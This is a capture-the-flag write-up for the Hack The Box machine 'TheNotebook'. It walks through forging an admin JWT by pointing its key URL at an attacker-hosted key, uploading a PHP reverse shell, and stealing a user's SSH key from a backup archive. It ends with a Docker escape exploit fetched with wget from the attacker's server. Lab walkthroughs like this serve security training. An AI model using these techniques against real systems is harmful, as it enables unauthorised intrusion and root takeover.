TheNotebook
TheNotebook is a medium box from Hack The Box.
Enumeration
The first step is always a full port scan.
nmap -sC -sV -v -p- -oA enum/nmap 10.10.10.230
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
| 256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_ 256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: B2F904D3046B07D05F90FB6131602ED2
| http-methods:
|_ Supported Methods: HEAD GET OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
8000/tcp open tcpwrapped
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
SSH and HTTP open, plus a couple high ports that don’t look very interesting. I’ll check out the web server first.

It’s a simple HTML site, not much functionality to speak of. I can create a new user and publish simple notes.

The URL(http://10.10.10.230/f402dba3-2e5f-4cf3-80ef-2cacc5d30990/notes/6) appears to be constructed of a unique user string representing the user’s directory, and the notes are stored within a subdirectory. My test note is file number 6. Maybe there are other notes in that folder already?

Even if there were, I can’t access them. Taking a look at my cookies reveals a bit more.

Looks like my user’s home directory is also the UUID cookie. The auth cookie is a bit more interesting, however.

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6InRyb24iLCJlbWFpbCI6InRyb25AdHJvbi5odGIiLCJhZG1pbl9jYXAiOmZhbHNlfQ.BgX_ieiO4bzI_jJE32EleGOqLUhnPYe-HB0kSzaB-VCl7QfHxWUX2fkw_lfL7F9a6bIhTibnCvPjzUVEx0CWD0ZK7iypcN3SH-F-nq2eqJKOQ3cHLqv9Hm5y1kcUe9EcGxFevWsqQkSeeiL51iyV-oTcoQnDuDWaeKs9EctjOSndUHi51ljkw9vpyh19dYwuxU_yTbvnpw7k7cCiBACVhCY-tzb45qjkreC4_eSp5iXcVAbAWORC2zSb44N9NMdQAYfRBQX2DqKGeMqSiuBXCxwD9kCJhQWU7hd1HrrLaK-0ZzFl58CY_-060GvUV7cNzjj0oKdY3KsJ-Njbr_xh9zHD7Fj5O4PiEQ3oSM2MQRou1elsmU29hOWZJh5QsWcdTQ3BSpHOxrZJtJGeoXy2jmupwwQmGqYSExmgKu8uxD3Tk87BVO3xFbRP8zqXOt5kprOTZM1IdIrlt7-PFaOUOAih4rsUnZQ6GQTOorN6FOFMCdZ03OnvNf31QsmmNeAVTBvwdxRa_DXU8QVzYUrRVQfVuunOca_6WojnVYOt_PxPSZAOSBPhcH_icMXHzytvEJVwt6E33TZH8H0GzFaMWJUcoRKFEig6Ix5bnIHYFEG_8y2ggA2xoJMFhYVTkLNR1HLiImspL-rloOj252zJmAyKKXT8x_CCLfWGILpAvgA
At first glance it just looks like a random string, but I base64 decoded it, just to see what would happen:

There is some very promising information inside this cookie. I put it into the JWT Debugger to make it a bit easier to parse.

Exploitation
The auth cookie is a base64 encoded JSON Web Token, that contains some user information, a permission boolean, as well as an encryption scheme. The key is signed by an RSA keypair, verified by the private key at http://localhost:7070/privKey.key.
In the course of enumeration web directories, I discovered an admin panel at thenotebook.htb/admin. I am unable to view it as my current user, but if I can generate a signed JWT assigning myself admin capablities, I may be able to.
I generated myself a JWK Key Pair according to the specified algorithm, created a token with admin_cap = 1, and signed that token with the keypair:

The final step is to host the corresponding private key on my own web server.
sudo python -m SimpleHTTPServer 80
Paste the cookie into the cookie editor:

Refresh the page and I can view the admin panel!

My user now has the ability to upload files. I uploaded a php reverse shell and clicked View to execute the payload:

I now have a shell on the box as www-data:

Privilege Escalation
Upgrade my shell a bit with python3 -c 'import pty; pty.spawn("/bin/bash")', and start poking around the filesystem.
In /var/backups there is an archive named home.tar.gz that I am able to read. I move it to /tmp, where I should have write access, and extract it.

It appears to be backups of the entire /home directory. I can view noah’s files, specifically his private SSH key.

I can copy that over to my machine and use that to login as noah. Copy/paste into a file, change the permissions, and log in:

Now I’m on as noah. I don’t have a password, but it doesn’t hurt to check and see if I can run sudo with no password.
sudo -l
User noah may run the following commands on thenotebook:
(ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*
I can run a particular Docker command, but I can control the end of the command. Googling around for an exploit eventually turns up a docker escape Go exploit.
Once I configure the Go script with my payload and run it on the target, I’ll be able to trigger it by calling /bin/sh on the container with sudo.

Change the script to set the SUID on /bin/bash and build it with go build main.go.
Host that file on my Python server, pull it down to the target, set it to be executable, and run it.
wget http://10.10.14.22/main

The script exited with no apparent errors, so now I need to trigger it.
sudo /usr/bin/docker exec -it webapp-dev01 sh

With that complete, I can drop into a root shell with bash -p.